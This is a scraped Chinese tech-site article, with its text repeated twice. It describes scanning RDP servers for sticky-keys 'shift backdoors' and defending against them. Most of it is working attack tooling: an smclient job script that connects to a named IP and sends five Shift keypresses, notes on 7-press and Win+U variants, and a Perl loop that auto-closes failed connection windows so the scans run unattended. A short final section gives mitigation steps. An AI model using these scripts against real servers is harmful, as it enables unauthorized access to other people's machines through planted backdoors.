3389远程终端的SHIFT后门自动扫描[自动关闭错误连接]
程序员文章站
2022-06-09 18:46:32
首先3389的SHIFT后门极少 其次大部分SHIFT后门都加密 所以手工一个一个尝试是挺傻的,写成自动扫描的话,还能让人忍受... 11-01-15...
首先3389的shift后门极少
其次大部分shift后门都加密
所以手工一个一个尝试是挺傻的,写成自动扫描的话,还能让人忍受
需要用到的工具 smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt:
job
{
connect("","","",1,1);
sleep(2000);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
sleep(2000);
disconnect();
}
有些shift后门被改成了按7次shift,或者是win+u后门,改改shift_backdoor.txt把功能加进去即可
自动关闭错误连接
#!/usr/bin/perl
use warnings;
use win32::gui;
use constant wm_close => 16;
sub monitor {
my $handle = win32::gui::findwindow('', '中断远程桌面连接');
win32::gui::sendmessage($handle, wm_close, 0, 0);
}
sub monitor1 {
my $handle = win32::gui::findwindow('', '断开 windows 会话');
win32::gui::sendmessage($handle, wm_close, 0, 0);
}
while(1){
&monitor;
&monitor1;
sleep(2);
}
shift后门的解决办法
一日在网上看到了shift后门,说是按5下shift键服务器的系统盘就蹦出来了,不用输入密码!我一看,就怀着好奇的想法试了下果真如此,难怪我们的服务器总是出问题,查了下解决办法现在发出来,希望和我一样的菜鸟x级网管能有用。
打开控制面板--辅助功能选项--粘滞键--设置--去掉使用快捷键的勾
还有要改下copy.exe的权限,不过在这里推荐大家把c盘所有的程序都 改下,只有administrator才能访问
shift后门的预防解决办法:预防很简单的,连敲5次shift,然后在弹出的设置里面取消连滞键
已经中了的话
attrib c:\windows\system32\sethc.exe -h
attrib c:\windows\system32\dllcache\sethc.exe -h
拷贝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目录下;拷贝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目录下
收工!
其次大部分shift后门都加密
所以手工一个一个尝试是挺傻的,写成自动扫描的话,还能让人忍受
需要用到的工具 smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt:
job
{
connect("","","",1,1);
sleep(2000);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
senddata("wm_keydown",16,2752513);
senddata("wm_keyup",16,3223977985);
sleep(2000);
disconnect();
}
有些shift后门被改成了按7次shift,或者是win+u后门,改改shift_backdoor.txt把功能加进去即可
自动关闭错误连接
复制代码
代码如下:#!/usr/bin/perl
use warnings;
use win32::gui;
use constant wm_close => 16;
sub monitor {
my $handle = win32::gui::findwindow('', '中断远程桌面连接');
win32::gui::sendmessage($handle, wm_close, 0, 0);
}
sub monitor1 {
my $handle = win32::gui::findwindow('', '断开 windows 会话');
win32::gui::sendmessage($handle, wm_close, 0, 0);
}
while(1){
&monitor;
&monitor1;
sleep(2);
}
shift后门的解决办法
一日在网上看到了shift后门,说是按5下shift键服务器的系统盘就蹦出来了,不用输入密码!我一看,就怀着好奇的想法试了下果真如此,难怪我们的服务器总是出问题,查了下解决办法现在发出来,希望和我一样的菜鸟x级网管能有用。
打开控制面板--辅助功能选项--粘滞键--设置--去掉使用快捷键的勾
还有要改下copy.exe的权限,不过在这里推荐大家把c盘所有的程序都 改下,只有administrator才能访问
shift后门的预防解决办法:预防很简单的,连敲5次shift,然后在弹出的设置里面取消连滞键
已经中了的话
attrib c:\windows\system32\sethc.exe -h
attrib c:\windows\system32\dllcache\sethc.exe -h
拷贝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目录下;拷贝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目录下
收工!